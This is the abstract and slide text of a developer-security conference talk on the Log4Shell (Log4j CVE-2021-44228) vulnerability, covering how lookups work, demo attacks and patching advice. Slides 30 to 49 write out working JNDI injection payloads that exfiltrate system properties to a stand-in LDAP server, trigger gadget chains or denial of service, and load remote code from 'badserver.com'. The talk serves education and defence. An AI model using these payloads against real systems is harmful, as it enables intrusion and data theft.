It’s said that everyone remembers where they were when a momentous event occurs. Where were you on the 10 December 2021 or did the most comprehensively dangerous Java vulnerability pass you by? Don’t be fooled into thinking it’s all over. Even by mid year the number of vulnerable servers will still be high because organisations still fail assess their vulnerability state correctly. In this session I’ll cover, in detail, the actual mechanics of the vulnerability and demo a simple attack. I’ll take you through why this vulnerability can be as bad as it gets and explain what the options are to protect you application and how to assess if you’re still at risk. It’s not all bad news. The Log4Shell wake up call shows us that we’re not paying the right sort of attention to security across the board but we can learn to do better. I’ll end the talk with explaining why security really matters, what developers can do improve their understanding of security principles in general and cover some of the practical next steps that are available. Log4Shell is changing our world - let’s make sure its for the right reasons. Opportunity is knocking on your door.

1. Log4Shell - Armageddon or
Opportunity
Steve Poole
@spoole167

2. 9th December - a normal day at the office

3. 10h December 2021

4. And then
it grew

5. And grew

6. And grew

7. And grew

8. Log4Shell may be the worst ever vulnerability

9. It just keeps on giving

10. Log4J vulnerability - the wrong thing at the wrong time, for a long time
Log4J CVE-2021-44228 - Fixes a problem that’s been
around since 2014

11. Today
The basics behind most Java exploits
The mechanics of a Log4JShell exploit
A Log4Shell demo
Breaking down the attack types : risk, reward, detection, applicability
Prevention / related tools
Larger consequences - why the White House got involved
Wake up call - understanding that fire-drills are here to stay.
Revisiting your supply chains
Wrap up

12. The basics behind most Java exploits
Main Objective
Arbitrary Remote code execution.
Bad Actors can do whatever they want
Steal data, change data, add malware
…
Use Java serialization or text-to-execution
vehicles (from xml tags to scripting
languages to text formatters)
Leave no trace
Secondary Objective
Leak, change, insert data. Secrets,
configs, device info etc
Gadget chains, human error, limited
ability to manipulate config data

13. The basics behind most Java exploits
Attacks come from relentless scripted botnets using sophisticated tools to
probe end points
Imagine a burglar, trying every door and window, in every building on the planet
every moment of the day and night

14. Reverse Engineering
Fuzzing calls and data..
GET /users/1
POST /users/2
PUT /users/20000?name=“(select
GET /users/-1

15. Reverse Engineering
With sophisticated tools

16. Fuzzing calls and data.
Reverse Engineering
Fuzz urls, json payloads, xml payloads, binary payloads …
Import / export / upload / download options ..
Command line options, file formats …
“known-to-be-dangerous” values
In the public domain
Widespread
& mature
Automatic ‘protocol’
detection &
exploitation

17. Log4Shell is a gift to the bad actors. It’s been
there since 2014

18. Log4J - the exploited mechanics
Probably every Java developer has or is using Log4J. Somewhere in the code
will be a couple of imports and a field
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
Logger logger = LoggerFactory.getLogger(<Class>.class);
Then throughout the code will be various calls to the logger to record data :
logger.info(“Entering application”);
logger.debug(“device id {}”,id);
logger.info(“X-Header {}”,headers[‘X-Header’]);

19. Log4J - the exploited mechanics
Then the log might have
2022-01-01 09:07:41,508 [main] INFO MyApp - Entering application
2022-01-01 09:07:41,518 [main] DEBUG device id Z12345QWAZ
2022-01-01 09:07:41,528 [main] INFO X-Header aa-45-56-30-fa

20. Log4J - the exploited mechanics
2022-01-01 09:07:41,508 [main] INFO MyApp - Entering application
2022-01-01 09:07:41,518 [main] DEBUG device id Z12345QWAZ
2022-01-01 09:07:41,528 [main] INFO X-Header aa-45-56-30-fa
logger.info(“Entering application”);
logger.debug(“device id {}”,id);
logger.info(“X-Header {}”,headers[‘X-Header’]);
Since log4J is a debugging tool its important record input data asis

21. If the application or component is used in different environments then recording
basic info in the log would be good!
But Log4J makes it even easier for you
Log4J - the exploited mechanics
logger.info(“version {}”,System.getProperties(“java.version”);
logger.info(“version ${sys:java.version}”);
022-01-01 09:07:41,508 [main] INFO MyApp - version 1.17.1

22. These substitution parameters or ‘lookups”
provide convenience and robustness.
${sys:<system-property-name>}
${env:<environmental-name>}
${log4j:configLocation}
Log4J - the exploited mechanics

23. User-Agent: Mozilla/5.0
Put together the expectation to log input data asis + lookups
Log4J - the exploited mechanics
log.info(“User Agent: {}”,userAgent);
2022-01-01 09:07:41 [main] INFO User Agent: Mozilla/5.0
User-Agent: ${sys:java.version}
log.info(“User Agent: {}”,userAgent);
2022-01-01 09:07:41 [main] INFO User Agent: 1.8.0

24. Log4J - the exploited mechanics
We’re not finished yet.
In 2014 a new Lookup was added for JNDI to allow logging of service
configuration info in a consistent way. No different from the other lookups.
However..

25. Log4J - the exploited mechanics
We’re not finished yet.
In 2014 a new Lookup was added for JNDI to allow logging of service
configuration info in a consistent way. No different from the other lookups.
However..
The lookup also enabled other registered JNDI services to be used.
Ldap, RMI, DNS …

26. Log4J - the exploited mechanics
One more thing.
For most Log4J versions processing substitution parameters is recursive:
${sys:<system-property-
name>}
Envvar MODE=”${sys.java.version}”
Log: log.info(“${env:MODE}”)
Result “1.8.1” etc

27. Log4J - the exploited mechanics
Situation:
Over powerful Log4J lookups and substitution process coupled
with a desire to write input data asis
Result: field day for bad actors
Within 4 days half of all global corporate networks globally had
been actively probed, with over 60 variants of the exploit

28. Let’s see it in action

29. What you saw
Exposing environment data
Transmitting environment data
Running a gadget chain
Arbitrary Remote Code Execution
A simple hidden attack

30. Exposing environmental data
Concept:
Impact:
At risk:
Can the bad actor force sensitive data to appear in the log?
Low as a standalone attack. No immediate feedback
High if logs are visible ( compromised server, log aggregators)
java version, classpath, properties that are publicly
known,can be guessed (see fuzzing)
${sys:java.version}

31. Aside - logs are more vulnerable than you might imagine
Sometimes logs (and other files) are accessible externally

32. Aside - logs are more vulnerable than you might imagine
Easily found via

33. Aside - logs are more vulnerable than you might imagine
useful
search terms
exploit-db.com

34. Transmitting environmental data
Concept:
Impact:
At risk:
Can the bad actor send sensitive data to another server?
Medium to High. IP info is leaked at a minimum
High if recursive substitution available
java version, classpath, properties that are publicly
known,can be guessed (see fuzzing)
${jndi:ldap://ldap.dev:1389/cn=version}

35. ${jndi:ldap://ldap.dev:1389/cn=version}
${jndi:ldap://ldap.dev:1389/echo/${sys:java.version}}
${jndi:ldap://ldap.dev:1389/echo/1.8_01}
sent to the ldap server
Which sends back
Which gets evaluated by log4j. sends back

36. Running a gadget chain
Concept:
Impact:
At risk:
Can the bad actor cause code to execute under their control?
High to Very High. Java Gadget chains are complicated but
easily constructed. Arbitrary RCEs are possible
Everything. Access to data, systems etc.
${jndi:ldap://ldap.dev:1389/cn=gadget}

37. A simple gadget chain
HashMap m = new HashMap<>();
m.put("key is $${sys:java.version}", "${sys:java.version}");
List<String> list = new LinkedList<>();
list.add("this");
list.add("is");
list.add("a");
list.add("nested");
list.add("list");
m.put("gadget-chain", list);
${jndi:ldap://ldap.dev:1389/cn=gadget}
This call expects a
serialized Java object
stream to be retuned

38. Various results
2.0 - 2.3
2.4- 2.5
add todo(title=${jndi:ldap://ldap.dev:1389/cn=gadget}, status=ACTIVE)
2.3.1, 2.3.2
2.15-2.17.1
add todo(title={gadget-chain=[this, is, a, nested, list], key is
1.8.0_102=1.8.0_102}, status=ACTIVE)
2.6-2.14.1

39. Running a gadget chain to cause a DoS
Concept:
Impact:
At risk:
Can the bad actor cause code to crash an application
High to Very High. Easy to achieve.
Availability. Leads to Ransom threats
${jndi:ldap://ldap.dev:1389/cn=boom}

40. A simple DOS gadget chain
Object[][] o=new Object[][]{ new Object[0]};
Use serialization tools to turn it into
Object[][] o= new Object[INT_MAX][INT_MAX]
// not real java
OOM every time?
${jndi:ldap://ldap.dev:1389/cn=boom}
This call expects a
serialized Java object
stream to be retuned

41. Arbitrary Remote Code Execution
For some versions of Log4J we’re lucky. The RCE fails unintentionally
This got “fixed” Casting (String) replaced with a toString():

42. Arbitrary Remote Code Execution
Reference ref = new
Reference("ExternalObject",
"ExternalObject",
“http://badserver.com/code/");
If the returned object is one of these
${jndi:ldap://ldap.dev:1389/cn=rce}
This call makes log4J
go to the badserver
and downloads …

43. Arbitrary Remote Code Execution
One of these
${jndi:ldap://ldap.dev:1389/cn=rce}
public class ExternalObject implements
javax.naming.spi.ObjectFactory

44. Arbitrary Remote Code Execution
One of these
${jndi:ldap://ldap.dev:1389/cn=rce}
public class ExternalObject implements
javax.naming.spi.ObjectFactory
public Object getObjectInstance(Object obj, Name
name, Context nameCtx, Hashtable<?, ?> environment)
throws Exception
With this method

45. Arbitrary Remote Code Execution
One of these
${jndi:ldap://ldap.dev:1389/cn=rce}
public class ExternalObject implements
javax.naming.spi.ObjectFactory
public Object getObjectInstance(Object obj, Name
name, Context nameCtx, Hashtable<?, ?> environment)
throws Exception
With this method
method get executed
in the application and
any required code is
downloaded from the
bad server

46. Arbitrary Remote Code Execution
Various results: older Java versions
2.0 - 2.3 , 2.4-2.12.1, 2.13.0-2.14.1
2.3.1,2.3.2, 2.12.2-2.12.14, 2.15+

47. Arbitrary Remote Code Execution
Various results: Java 17+

48. Hidden attacks
${jndi:ldap://ldap.dev:1389/a}
Take the RCE attack and spin it slightly.
Ensure the last object returned is a String

49. Hidden attacks
${jndi:ldap://ldap.dev:1389/a}
Although the JNDI defaults to trust remote were changed in Java. they
can still be turned on. Especially vulnerable is tools that launch
processes
com.sun.jndi.ldap.object.trustURLCodebase
com.sun.jndi.ldap.object.trustSerialData

50. Log4Shell is deadly
Move to the latest version of Log4J
Move to the latest version of Java you can
Re evaluate your scanning checking tools. Many do not do a good job!!
Also look for fatjars with log4j code

51. We’re not
doing a good
Job patching
https://www.sonatype.com/resource
s/log4j-vulnerability-resource-center

52. The last bits
Larger consequences - why the White House got involved
Wake up call - understanding that fire-drills are here to stay.
Revisiting your supply chains

53. Thank you